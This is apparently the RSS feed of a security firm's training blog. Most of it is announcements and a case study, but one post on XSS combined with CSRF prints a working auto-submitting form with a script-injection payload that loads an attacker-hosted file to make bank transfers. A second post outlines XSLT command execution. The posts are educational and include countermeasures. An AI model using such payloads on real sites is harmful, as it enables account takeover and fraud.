<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>SecCom Labs</title>
	<atom:link href="http://labs.securitycompass.com/wp-rss2.php" rel="self" type="application/rss+xml" />
	<link></link>
	<description>Resources for Secure Software Engineering from Security Compass</description>
	<pubDate>Thu, 14 Jan 2010 14:10:37 +0000</pubDate>
	
	<language>en</language>
			<item>
		<title>Security Compass at RSA</title>
		<link>/index.php/2010/01/14/security-compass-at-rsa/</link>
		<comments>/index.php/2010/01/14/security-compass-at-rsa/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 14:10:37 +0000</pubDate>
		<dc:creator>rohit</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">/?p=230</guid>
		<description><![CDATA[This year we’ll be returning to RSA to deliver a couple of 1 day training classes: application security  hands on and database security hands on. Both are introductory courses that aim to get students ramped up quickly on these important topics. Know anyone who’s interested?
]]></description>
			<content:encoded><![CDATA[<p>This year we’ll be returning to RSA to deliver a couple of 1 day training classes: <a href="http://www.rsaconference.com/2010/usa/agenda-and-sessions/one-day-tutorials.htm#m31">application security </a> hands on and <a href="http://www.rsaconference.com/2010/usa/agenda-and-sessions/one-day-tutorials.htm#m41">database security</a> hands on. Both are introductory courses that aim to get students ramped up quickly on these important topics. Know anyone who’s interested?</p>
]]></content:encoded>
			<wfw:commentRss>/index.php/2010/01/14/security-compass-at-rsa/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Secure Web Application Framework Manifesto - Draft</title>
		<link>/index.php/2010/01/11/secure-web-application-framework-manifesto-draft/</link>
		<comments>/index.php/2010/01/11/secure-web-application-framework-manifesto-draft/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 19:54:57 +0000</pubDate>
		<dc:creator>rohit</dc:creator>
		
		<category><![CDATA[Advanced]]></category>

		<category><![CDATA[Architects]]></category>

		<category><![CDATA[Developers]]></category>

		<category><![CDATA[Intermediate]]></category>

		<category><![CDATA[articles]]></category>

		<guid isPermaLink="false">/?p=223</guid>
		<description><![CDATA[It&#8217;s clear that your choice of web application framework makes a significant impact on the security of individual applications. Today we&#8217;re releasing a draft version of the Secure Web Application Framework Manifesto - a document that provides a set of security requirements to web application frameworks themselves. Once we&#8217;ve collected feedback from the community, we&#8217;d [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s clear that your choice of web application framework makes a significant impact on the security of individual applications. Today we&#8217;re releasing a draft version of the Secure Web Application Framework Manifesto - a document that provides a set of security requirements to web application frameworks themselves. Once we&#8217;ve collected feedback from the community, we&#8217;d like to turn this into a living OWASP project that is updated annually.</p>
<p>We&#8217;re eagerly looking forward to any feedback you have. Please email us at labs [ a t ] securitycompass.com</p>
<p><a href='/papers/secure-web-application-framework-manifesto-v0-05.pdf'>Download it here</a></p>
]]></content:encoded>
			<wfw:commentRss>/index.php/2010/01/11/secure-web-application-framework-manifesto-draft/feed/</wfw:commentRss>
		</item>
		<item>
		<title>XSLT Command Execution Exploit</title>
		<link>/index.php/2009/09/18/xslt-command-execution-exploit/</link>
		<comments>/index.php/2009/09/18/xslt-command-execution-exploit/#comments</comments>
		<pubDate>Fri, 18 Sep 2009 15:25:14 +0000</pubDate>
		<dc:creator>Subu Ramanathan</dc:creator>
		
		<category><![CDATA[Beginner]]></category>

		<category><![CDATA[Developers]]></category>

		<category><![CDATA[Intermediate]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[articles]]></category>

		<category><![CDATA[dotNet]]></category>

		<guid isPermaLink="false">/?p=217</guid>
		<description><![CDATA[This article is based on the Command Injection in XML Signatures and Encryption whitepaper authored by Bradley W. Hill from Information Security Partners.
XSLT is a simple language designed to facilitate cross platform content generation by selecting and merging datasets presented in an XML document. The vulnerability described in the whitepaper still exists in today’s XSLT [...]]]></description>
			<content:encoded><![CDATA[<p>This article is based on the <a href="http://www.isecpartners.com/files/XMLDSIG_Command_Injection.pdf">Command Injection in XML Signatures and Encryption</a> whitepaper authored by Bradley W. Hill from Information Security Partners.</p>
<p>XSLT is a simple language designed to facilitate cross platform content generation by selecting and merging datasets presented in an XML document. The vulnerability described in the whitepaper still exists in today’s XSLT processing engines, which are widely used in web service implementations. In this article, we will look into reproducing this attack on two of the common XSLT processing engines: Microsft’s MSXML and Xalan (Java’s XML processing library). In addition to an overview of reproducing the attack, this article also features video demonstrations of the exploit that we feature in our Training courses. In both these scenarios we are using the latest versions of the frameworks’ XSLT processing engine as of September 16, 2009.</p>
</p>
<p><strong>MSXML implemented in a .NET Application:</strong><br />
MSXML, Microsoft’s XSLT processor, provides a scripting engine to allow for dynamic content generation. The <msxsl:script> tag, amongst other things, allows developers to define custom functions that can then be called from XSLT code. The engine also provides functions within <msxsl:script> blocks complete access to .NET classes and methods as long as they fully qualified (e.g. System.Console.WriteLine). This extensibility raises the possibility of remote command execution from the code within the <msxsl:script> blocks. For instance, in our demonstration video we add a call to System.Diagnostics.Process.Start() method, which enables the attacker to spawn a command prompt.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/1STvZx3ZnGw&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/1STvZx3ZnGw&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p><strong>Xalan implemented in a Java Application:</strong><br />
Xalan, on the other hand provides versions of standard Java classes such as Java.lang.Runtime and Java.lang.Object that can be included with the XSLT signature. These classes can then be used in <xsl:variable> tags to invoke member methods. In our demonstration video we will be using Java.lang.Runtime.exec() method to spawn a new process that launches Windows Notepad.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/VpcEi3z_Pzs&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/VpcEi3z_Pzs&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>/index.php/2009/09/18/xslt-command-execution-exploit/feed/</wfw:commentRss>
		</item>
		<item>
		<title>OWASP DC</title>
		<link>/index.php/2009/08/24/owasp-dc/</link>
		<comments>/index.php/2009/08/24/owasp-dc/#comments</comments>
		<pubDate>Mon, 24 Aug 2009 10:21:05 +0000</pubDate>
		<dc:creator>rohit</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">/?p=215</guid>
		<description><![CDATA[Come check us out at OWASP DC. We&#8217;ll be speaking on the Security Analysis of Core J2EE Patterns and teaching classes on Threat Model Express and Java Source Code Review
]]></description>
			<content:encoded><![CDATA[<p>Come check us out at <a href="http://appsecdc.org/">OWASP DC</a>. We&#8217;ll be speaking on the <a href="http://www.owasp.org/index.php/Category:OWASP_Security_Analysis_of_Core_J2EE_Design_Patterns_Project">Security Analysis of Core J2EE Patterns</a> and teaching classes on Threat Model Express and Java Source Code Review</p>
]]></content:encoded>
			<wfw:commentRss>/index.php/2009/08/24/owasp-dc/feed/</wfw:commentRss>
		</item>
		<item>
		<title>J2EE Patterns Analysis Now an OWASP Project!</title>
		<link>/index.php/2009/07/24/j2ee-patterns-analysis-now-an-owasp-project/</link>
		<comments>/index.php/2009/07/24/j2ee-patterns-analysis-now-an-owasp-project/#comments</comments>
		<pubDate>Fri, 24 Jul 2009 14:31:08 +0000</pubDate>
		<dc:creator>rohit</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">/?p=213</guid>
		<description><![CDATA[We&#8217;re happy to announce that our Security Analysis of the J2EE Core Patterns is now officially an OWASP project! I&#8217;ll be the project leader and look forward to getting your input on constantly improving this doc. Thanks to everyone who has supported us in this effort thus far!
]]></description>
			<content:encoded><![CDATA[<p>We&#8217;re happy to announce that our Security Analysis of the J2EE Core Patterns is now officially an <a href="http://www.owasp.org/index.php/Category:OWASP_Security_Analysis_of_Core_J2EE_Design_Patterns_Project">OWASP project</a>! I&#8217;ll be the project leader and look forward to getting your input on constantly improving this doc. Thanks to everyone who has supported us in this effort thus far!</p>
]]></content:encoded>
			<wfw:commentRss>/index.php/2009/07/24/j2ee-patterns-analysis-now-an-owasp-project/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The True Danger of XSS and CSRF</title>
		<link>/index.php/2009/05/15/the-true-danger-of-xss-and-csrf/</link>
		<comments>/index.php/2009/05/15/the-true-danger-of-xss-and-csrf/#comments</comments>
		<pubDate>Fri, 15 May 2009 10:46:17 +0000</pubDate>
		<dc:creator>rohit</dc:creator>
		
		<category><![CDATA[Analysts]]></category>

		<category><![CDATA[Architects]]></category>

		<category><![CDATA[Beginner]]></category>

		<category><![CDATA[Developers]]></category>

		<category><![CDATA[Intermediate]]></category>

		<category><![CDATA[PM]]></category>

		<category><![CDATA[SDLC Role]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[Security Experience]]></category>

		<category><![CDATA[Testers]]></category>

		<category><![CDATA[whitepapers]]></category>

		<category><![CDATA[Add new tag]]></category>

		<guid isPermaLink="false">/?p=178</guid>
		<description><![CDATA[
In our one-day training classes and conference talks we make judicious use of videos to demonstrate concepts. One of the most popular videos illustrates the true danger of Cross-Site Scripting (XSS) combined with Cross-Site Request Forgery (CSRF). We constructed a fake bank site and demonstrated that a single XSS vulnerability and money transfer functionality in [...]]]></description>
			<content:encoded><![CDATA[<div class="contentcontainer" style="background: url('/wp-content/uploads/2009/05/xss_video_thumb.jpg') top left no-repeat;">
<p><p>In our one-day <u><a href="http://www.securitycompass.com/training/">training classes</a></u> and conference talks we make judicious use of videos to demonstrate concepts. One of the most popular videos illustrates the true danger of Cross-Site Scripting (XSS) combined with Cross-Site Request Forgery (CSRF). We constructed a fake bank site and demonstrated that a <i>single</i> XSS vulnerability and money transfer functionality in the bank site could result in a user losing money just by visiting another site. In the example, the bank site isn’t over SSL but <b>SSL would not prevent this attack in any way</b>.</p>
<p>The malicious site in our example is completely attacker-controlled, but in reality the malicious site could actually be a Flash ad in a trusted site, Facebook / Myspace / LinkedIn applications or other mashups running untrusted code, or even malicious code running in another trusted site like a bulletin board.</p>
<p>In our example, the user visits the bank site and the attacker site in two browser tabs at the same time. In reality, the victim is exposed for the entire duration of his/her session on the <i>server</i>. That means if a user simply closes their browser window and doesn’t actually logout of the banking application, they are still vulnerable for a period of time – usually 15-30 minutes.</p>
</div>
<p style="padding-left: 130px;"><span id="more-178"></span></p>
<div style="clear: both;">
<p><!--more--><br />
<center><OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="642" HEIGHT="449" CODEBASE="http://active.macromedia.com/flash5/cabs/swflash.cab#version=7,0,0,0"><br />
<PARAM NAME=movie VALUE="xss steal.swf"><br />
<PARAM NAME=play VALUE=false><br />
<PARAM NAME=loop VALUE=false><br />
<PARAM NAME=wmode VALUE=transparent><br />
<PARAM NAME=quality VALUE=low><br />
<EMBED SRC="http://www.securitycompass.com/videos/xss steal.swf" WIDTH=642 HEIGHT=449 quality=low loop=false wmode=transparent TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"><br />
</EMBED><br />
</OBJECT></center><br />
<SCRIPT src='http://www.securitycompass.com/videos/xss steal.js'></script></p>
<p>At first the attack may seem far-fetched because of all the factors at play:</p>
<ol>
<li>
<p>A victim needs to visit a specific vulnerable site</p>
</li>
<li>
<p>The victim then must visit another malicious site that knows to attack the site from Step 1, all while the victim still has a valid session.
</p>
</li>
</ol>
<p >So how is this attack becoming less far-fetched today?</p>
<ol>
<li>
<p>A survey by the Web Application Security Consortium (WASC) reveals that<br />
<u><a href="http://www.webappsec.org/projects/statistics/">nearly 60% of websites</a></u> are vulnerable to XSS. The ability to discover XSS has never been easier, and public disclosure sites like <u><a href="http://www.xssed.com/">xssed.com</a></u> make discovering specific vulnerabilities trivial.</p>
</li>
<li>
<p>We’ve seen real attacks delivered through <u><a href="http://www.us-cert.gov/current/archive/2009/03/09/archive.html#malicious_code_targeting_social_networking">social networking sites</a></u> and <u><a href="http://news.cnet.com/8301-1009_3-10021715-83.html">flash ads</a></u>. These attack vectors allow malicious users to target thousands of victims concurrently – given enough potential victims, the chances that at least a handful of them also have a valid session on a specific vulnerable site becomes higher. Even though our demo shows an attack on one specific bank, an attacker can try to attack multiple sites from the same malicious JavaScript. In other words, an XSS fraudster can conceivably attempt to deliver malicious payloads for several different vulnerable sites to thousands of victims within a very short period of time.</p>
</li>
</ol>
<p>What makes this attack particularly devastating is the fact that the victim likely won’t be able to repudiate the money transfer. In the bank’s logs, it looks like the user intentionally meant to transfer funds. All of the transactions originate from the victim’s IP address and were sent with the victim’s cookies. Only behavioural analysis, such as looking at the abnormal speed of the series of requests or noticing that multiple people transferred money to the same payee at within a short period of time, might reveal fraud.</p>
<h3>Attack Technical Details</h3>
<ol>
<li>
<p>User visits http://localhost:3000 (False Secure Bank)</p>
</li>
<li>While having a valid session in False Secure Bank, user then visits http://127.0.0.1/CSRF _Example (Attacker site)
</li>
<li>Within the Attacker Site, we added a 0 length by 0 width iFrame, rendering the content of the iFrame invisible to the end user.
</li>
<li>
<p>Within the iFrame, we inserted some HTML including a form with pre-populated values, and some script that automatically submits the form on behalf of the user:</p>
<p>
<p>
<code>&lt;form name="input" action="http://localhost:3000/send_payment" method="post"&gt;</code><br />
<code>&lt;input type="text" name="pay[payee]&#8221; value=&#8221;&lt;script src=&amp;quot;http://127.0.0.1/CSRF_Example/bankattack.js&amp;quot; type=&amp;quot;text/javascript&amp;quot;&gt;&lt;/script&gt;&#8221;&gt;</code><br />
<code>&lt;input type="text" name="amount" value="0"/&gt;</code><br />
<code>&lt;input type="text" name="commit" value="Pay"/&gt;</code><br />
<code>&lt;/form&gt;</code><br />
<code>&lt;script&gt;document.input.submit();&lt;/script&gt;</code></p>
<p>Note that the pay[payee] field value is the actual Cross Site Scripting payload. This corresponds to the XSS vulnerability we discovered earlier within the False Secure Bank site. In this case, the actual script points to source located at http://127.0.0.1/CSRF_Example/bankattack.js. The document.input.submit() method automatically submits the request behalf on the user – in other words, we’re delivering a Cross Site Scripting (XSS) payload via a Cross Site Request Forgery (CSRF) attack.</p>
</li>
</ol>
<ol start="5">
<li>
<p>The user’s browser automatically submits the request to http://localhost:3000/send_payment <strong>with the user’s cookies</strong>. The user has no idea this has happened.</p>
</li>
<li>
<p>False Secure Bank sends a response to the 0 x 0 IFrame, where the request originated from. In the response, the developers include an unfiltered, unencoded version of the pay[payee] parameter from the send_payment request. Since this parameter renders within the clients browser, the &lt;script src=&#8217;http://127.0.0.1/CSRF_Example/bankattack.js&#8217; type=&#8217; text/javascript&#8217;&gt;&lt;/script&gt; tag automatically executes.</p>
</li>
<li>
<p>The browser automatically downloads the bankattack.js file. Since the request for JavaScript file appears to come from False Secure Bank, the browser does not believe this is a violation of the same origin policy.</p>
</li>
<li>
<p>Within the JavaScript file we’ve included a whole series of Ajax request and responses. They look something like this:</p>
<p >
<code>xmlhttp.open("GET", "/payment", false); //AJAX request to get the payment screen</code></p>
<p ><code>xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');</code></p>
<p <code>>xmlhttp.send("");</code></p>
<p >
<p >The actual JavaSript Object type of XMLHTTP varies by browser. Note that we can set the request headers however we want, and we can emulate any user generated content – including modifying the user-agent tag or any cookies used to track user navigation. We can also save the response we get back from the “send” command and parse out interesting values. For instance, suppose we need to know the victim’s account number in order to transfer funds. We can send an XML HTTP request to the home page and parse out the account number from the response HTML. Similarly, we can parse out any anti-CSRF tokens once we have our malicious JavaScript running.</p>
<p >Note that False Secure Bank does not support nor feature any Ajax. We don’t care. We only need the user’s browser to support Ajax, which most modern browsers do.</p>
</li>
</ol>
<ol start="9">
<li>
<p>The JavaScript from the previous step makes several different requests:</p>
</li>
</ol>
<ol>
<ul>
<li>
<p>Go to payments screen</p>
</li>
<li>
<p>Parse out the account number of the attacker</p>
</li>
<li>
<p>Add the attacker as a payee</p>
</li>
<li>
<p>Initiate payment</p>
</li>
<li>
<p>Confirm payment</p>
</li>
</ul>
</ol>
<p >
<p >While this scenario outlines a bank transfer, we could automate practically any series of requests in any web application with this kind of attack.</p>
<p >
<h3>Countermeasures (Developers)</h3>
<ul>
<li>
<p>The easiest countermeasure is to prevent Cross Site Scripting. Make judicious use of strong encoding libraries like those given in the <u><a href="https://www.owasp.org/index.php/Esapi">OWASP ESAPI project</a></u> . Follow the details outlined in the <u><a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">Cross Site Scripting Prevention Cheat Sheet</a></u>.</p>
</li>
<li>
<p>Use <u><a href="http://scriptplayground.com/tutorials/js/Frame-Busting/">frame busting code</a></u>. Note, people have (and continue to) come up with ways <u><a href="http://crypto.stanford.edu/framebust/">around frame-busting</a></u> . Also note that the attacker doesn’t <i>need</i> a frame – s/he can execute the entire attack visible to the user – although that increases the possibility that the user will shut down the browser and stop the attack midway.</p>
</li>
<li>
<p>The most effective method of preventing this and almost all attacks against sensitive transactions is to use transactional authentication. The developers could have required <u><a ref="http://www.phonefactor.com/">Phone Factor</a></u> authentication, for instance, for all money transfers over $100. Of course, any additional authentication may come at the expense of usability. A less effective and, arguably, less user-friendly approach is to use some anti-automation<br />
technology like CAPTCHA.
</p>
</li>
<li>
<p>The original XSS vector was delivered through a CSRF attack on the send_payment transaction. If the entire authenticated portion of False Secure Bank was protected against CSRF, we couldn’t have delivered the reflective XSS payload in the first place. Stored XSS does not suffer from the same limitation.</p>
</li>
</ul>
<p >
<h3>Countermeasures<br />
(End Users)</h3>
<ul>
<li>
<p><strong>Always log out.</strong> This doesn’t prevent the attack completely but significantly limits your exposure to attack</p>
</li>
<li>
<p>Do not browse to other sites while on a sensitive application such as online banking</p>
</li>
<li>
<p>Use <u><a href="http://noscript.net/">NoScript</a></u>. Yes, NoScript prevents this attack, even if you trust the script in the malicious site because NoScript accurately identifies the CSRF request as a potential Cross Site Scripting attack</p>
</li>
<li>
<p>Hope that the developers who create your applications care about security, and that they don’t categorically think Cross Site Scripting is low or medium risk</p>
</li>
</ul>
</div>
]]></content:encoded>
			<wfw:commentRss>/index.php/2009/05/15/the-true-danger-of-xss-and-csrf/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Case Study: The Falling Stock of Appsec</title>
		<link>/index.php/2009/05/05/case-study-the-falling-stock-of-appsec/</link>
		<comments>/index.php/2009/05/05/case-study-the-falling-stock-of-appsec/#comments</comments>
		<pubDate>Wed, 06 May 2009 03:25:06 +0000</pubDate>
		<dc:creator>rohit</dc:creator>
		
		<category><![CDATA[security scenarios]]></category>

		<guid isPermaLink="false">/?p=167</guid>
		<description><![CDATA[
Jamie Rockhill* is the director of information security at DG&#038;S, a medium-sized Manhattan-based financial services company. In the past twelve months some of the firm’s largest clients have either been acquired or have filed for bankruptcy protection. Although not as hard hit as some of their Wall Street peers, DG&#038;S is anticipating a 20% loss [...]]]></description>
			<content:encoded><![CDATA[<div class="contentcontainer" style="background: url('/wp-content/uploads/post_thumbs/security_scenarios.jpg') top left no-repeat;">
<p>Jamie Rockhill<sup>*</sup> is the director of information security at DG&#038;S, a medium-sized Manhattan-based financial services company. In the past twelve months some of the firm’s largest clients have either been acquired or have filed for bankruptcy protection. Although not as hard hit as some of their Wall Street peers, DG&#038;S is anticipating a 20% loss against previous year’s earnings. The firm is facing a major restructuring and there is an across-the-board freeze on any training expenditures or major IT projects. Indeed, any expense over $1,000 requires Executive VP sign off.</p>
</div>
<p style="padding-left: 130px;"><span id="more-167"></span></p>
<div style="clear: both;">
<p>Traditionally, DG&#038;S did not pay much heed to information security apart from standard practices such as patch management and installation of anti-virus on corporate machines. All that changed when 2,000 high-profile customer records were stolen from their competitors at Finicor Investment Services in late 2007. Worried that they too would suffer a breach, DG&#038;S hired Jamie to augment their IT security practices. Of course, that was before a tide of bad news hit the American financial industry in late 2008. Now Jamie’s been left with a mandate to protect the organization’s data (a priority which still stands, as the CEO recently reminded Jamie) with no appropriate increase in spending.</p>
<p>Although DG&#038;S maintains a relatively low public profile, it is well known in the financial industry and may be an ideal target for online thieves. Jamie is especially concerned that firm’s three extranet applications developed in ASP.Net are vulnerable to web application security attacks since they haven’t undergone any security testing or hardening procedures.</p>
<p>Jamie’s concerns were only heightened after a conversation with the company’s lead software engineer:<br />
&#8220;Steve, have you or anyone on your team thought about security during the development of these apps?&#8221;, Jamie inquired.<br/><br />
&#8220;Security? These apps are made for our business partners - not the general public. We have more pressing concerns&#8221; came the curt reply.<br/><br />
&#8220;That may be, but they’re exposed on the Internet. It’s just a matter of time before somebody uses them to break into our systems!&#8221;, Jamie responded, visibly agitated.<br/><br />
&#8220;Good luck securing them. This is Wall Street buddy, we need to get our apps out ASAP before the guys across the street do, otherwise our firm stands to lose big-time, meaning both you and I will be out of jobs. I don’t have any spare time to waste on adding features or doing analysis outside of the core functional requirements&#8221;.</p>
<p>As angry as he was, Jamie knew that Steve had a point: time-to-market is of the essence to DG&#038;S developers and it’s even more important as the company has to fight harder for client dollars.</p>
<p>Still, leaving the apps at status quo is asking for disaster. So far, Jamie has been able to keep the company away from danger thanks to complex filtering rules in the Intrusion Prevention System. He had also heard that ASP.net applications are more secure out of the box than PHP or Java web apps. He’s also toyed around with the idea of deploying a web application firewall although he’s heard that they are generally better as a short-term stop-gap measure.</p>
<p>If you were in Jamie’s position, what would you do?</p>
<p><sup>*</sup>: All names are fictional and are generated from http://www.kleimo.com/random/name.cfm</p>
</div>
<div style="width: 45%; float: left;">
<h2>Jason Lam’s Response</h2>
<p>Information security is about effectively managing risk in the organization and<br />
the role of a security professional is to advise and assist the management of<br />
risk. In Jamie’s shoes, I would first estimate the cost of one single<br />
incident based on previous incidents in similar organizations and the<br />
likelihood of an incident happening. Armed with this information, I would then<br />
approach the senior executives in the company to explain the risks and the need<br />
to lock down the applications. Security has to come from the top of the<br />
organization. Starting from the highest level is the prudent route to take.</p>
<p>The argument from management is often, “It’s not going to happen to us.”<br />
This is an easy one to tackle given the recent security related incidents in<br />
the financial sector. Hard dollar value is usually very persuasive, the stock<br />
prices affected by security incidents and also some of the public announcement<br />
of incidents can quickly reveal the real cost. In the financial sector, PCI DSS<br />
requirements now include application security requirements, so it is hard to<br />
deny that it is an essential part of security. Prudent executives want to<br />
control costs that will affect current and future business. The pressing needs<br />
to secure applications clearly affect the company’s future, especially when<br />
the reputation of the firm is at stake. Once the need to lock down the<br />
application is established with executives, the funding should come with ease.</p>
<p>As far as the approach to locking down the application goes, there are various<br />
options and approaches to take. If the internal security capability is strong<br />
then a quick security assessment of the application with strong focus on<br />
critical vulnerabilities such as OWASP Top 10 can help identify the weak point<br />
of the application and get the developers started on the right path to fixing<br />
the application. If skillset is lacking in the organization, then external firm<br />
help may be necessary. Jamie should be frank with the firm on the budget<br />
concern and the goal of locking down three business partner facing application.</p>
<p>A competent firm should be able to work out an effective plan for Jamie.<br />
If fixing the application is absolutely not an option, then maybe a Web<br />
Application Firewall (WAF) is a good choice. Most WAF devices are very<br />
affordable and relatively easy to deploy. WAFs can do a decent job at stopping<br />
about 50%-60% of the vulnerability, effectively reducing the vulnerability<br />
surface. Jamie should keep in mind that there are still risks even after a WAF<br />
device is in use and it is never a long term replacement to a full code fix.</p>
<hr/>
<p><em>Jason is a senior security analyst at a major financial institute in Canada. He is also an author and instructor for SANS Institute, mostly focusing on web application security and malware threats.</em></p>
</div>
<div style="width: 45%; margin-left: 3em; float: left;">
<h2>Nish Bhalla’s Response</h2>
<p>Letting the applications go out on the Internet without any testing would be<br />
like burying your head in the sand. Due to business requirements and lack of<br />
time or knowledge, this is the unfortunate reality that many organizations face<br />
today. Once, however, organizations realize the impact of the potential issues<br />
(like DG &#038; S), they end up hiring someone like Jamie to help reduce their risk.</p>
<p>There are two major security concerns with any application going live on the<br />
Internet: 1) The security risk associated with exposing the data held by the<br />
application. For example credit card data or other Personal Identifiable<br />
Information (PII). 2) Other vulnerabilities within the application that could expose other components of an organization’s infrastructure.</p>
<p>Assuming that DG &#038; S has neither application nor data classification ratings,<br />
Jim should try to understand the type of data this application holds and the<br />
security controls that are implemented in the applications. This process will<br />
help him to understand and ultimately justify the costs he should spend on<br />
securing the applications.</p>
<p>To understand the risk classification of the applications (i.e. high, medium,<br />
or low), Jim should attempt to perform a high-level risk analysis on the<br />
application. He can perform this analysis by not only spending some time<br />
understanding the application by browsing it, but also interviewing the<br />
business analysts, the architect and a senior developer. Some of key controls<br />
he should try to understand are:</p>
<ul>
<li>If the data held by each application is considered highly confidential,<br />
confidential or public.</li>
<li>How the basic security<br />
controls such as Authentication, Authorization, Log management and Encryption<br />
(in rest/in transit) are being managed by the application.</li>
</ul>
<p>Based on this information, Jim can understand which of the applications<br />
would be considered a high risk, medium risk and low risk for his environment.<br />
After understanding this, he should then decide to either perform an<br />
authenticated <a href="http://searchsecurity.techtarget.com/tip/0,289483,sid14_gci1351737,00.html">Health Check</a> or an <a href="http://searchsecurity.techtarget.com/tip/0,289483,sid14_gci1351737,00.html">Unauthenticated Health Check</a>. If he has the<br />
time and skill-set required he should perform the assessment himself, otherwise<br />
he should consider bringing in external help. One of these approaches would<br />
give him the best value for his money.</p>
<hr/>
<p><em>Nish Bhalla, the Founder of Security Compass, is a specialist in product, code, web application, host and network reviews.</em></p>
</div>
]]></content:encoded>
			<wfw:commentRss>/index.php/2009/05/05/case-study-the-falling-stock-of-appsec/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Security Analysis of Core J2EE Design Patterns</title>
		<link>/index.php/2009/04/20/security-analysis-of-core-j2ee-design-patterns/</link>
		<comments>/index.php/2009/04/20/security-analysis-of-core-j2ee-design-patterns/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 02:18:39 +0000</pubDate>
		<dc:creator>rohit</dc:creator>
		
		<category><![CDATA[Architects]]></category>

		<category><![CDATA[Developers]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[PM]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[whitepapers]]></category>

		<guid isPermaLink="false">/?p=129</guid>
		<description><![CDATA[
Today Krish Raja, Sahba Kazerooni, and I are releasing a Security Analysis of the Core J2EE Patterns. In our view, this sort of analysis is long overdue: software vendors, enterprise developers, and the open source community all use patterns judiciously. While developers have access to patterns about security, they rarely have access to a security [...]]]></description>
			<content:encoded><![CDATA[<div class="contentcontainer" style="background: url('/wp-content/uploads/post_thumbs/security_analysis_of_core_j2ee_design_patterns.jpg') top left no-repeat;">
<p>Today Krish Raja, Sahba Kazerooni, and I are releasing a <a href="http://labs.securitycompass.com/papers/Security%20Analysis%20of%20Core%20JEE%20Design%20Patterns%20v0%2020.pdf">Security Analysis of the Core J2EE Patterns</a>. In our view, this sort of analysis is long overdue: software vendors, enterprise developers, and the open source community all use patterns judiciously. While developers have access to patterns about security, they rarely have access to a security analysis of non-security-specific patterns.</p>
<p>This beta release outlines our security analysis: we’d love to hear your feedback to improve the quality of our analysis. In future releases, we intend to include source code examples to help elucidate the concepts we describe.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>/index.php/2009/04/20/security-analysis-of-core-j2ee-design-patterns/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Welcome To Seccom Labs</title>
		<link>/index.php/2009/04/20/welcome-to-seccom-labs/</link>
		<comments>/index.php/2009/04/20/welcome-to-seccom-labs/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 01:44:10 +0000</pubDate>
		<dc:creator>nish</dc:creator>
		
		<category><![CDATA[meta]]></category>

		<guid isPermaLink="false">/?p=122</guid>
		<description><![CDATA[
Welcome to Seccom Labs, our site dedicated specifically to helping developers, architects, testers, and everyone else involved in the SDLC with security. This page will include tools, blog entries, articles, videos, whitepapers, and security scenarios. 
Some of you may be wondering why we’re releasing Seccom Labs when other great open resources like OWASP exist. To [...]]]></description>
			<content:encoded><![CDATA[<div class="contentcontainer" style="background: url('/wp-content/uploads/post_thumbs/welcome_to_seccom_labs.jpg') top left no-repeat;">
<p>Welcome to Seccom Labs, our site dedicated specifically to helping developers, architects, testers, and everyone else involved in the SDLC with security. This page will include tools, blog entries, articles, videos, whitepapers, and security scenarios. </p>
<p>Some of you may be wondering why we’re releasing Seccom Labs when other great open resources like OWASP exist. To start, we wholeheartedly support the OWASP mission and in fact I personally head the OWASP Toronto chapter. The reasons we’re launching Seccom Labs are simple:</p>
<ul>
<li><strong>Increase community interaction</strong> – We’ve created popular tools like Exploit-Me; we want to continue to create tools and libraries and want to increase community involvement. All of our tools will now feature a publicly accessible bug tracker.</li>
<li><strong>Developer focused</strong> – We want a site dedicated specifically to the software development community. Although our materials will be relevant to the information security community, our resources will be primarily directed to people whose day-to-day responsibilities revolve around software development.</li>
<li><strong>Consistency</strong> – All of our resources come from Security Compass employees and we’ll ensure a consistency in quality, language, and general principles.</li>
</ul>
<p>Seccom Labs represents a culmination of our shared experience in securing software. We hope you find it useful and we appreciate any feedback you have for us!</p>
</div>
]]></content:encoded>
			<wfw:commentRss>/index.php/2009/04/20/welcome-to-seccom-labs/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Security Scenarios</title>
		<link>/index.php/2009/04/20/security-scenarios/</link>
		<comments>/index.php/2009/04/20/security-scenarios/#comments</comments>
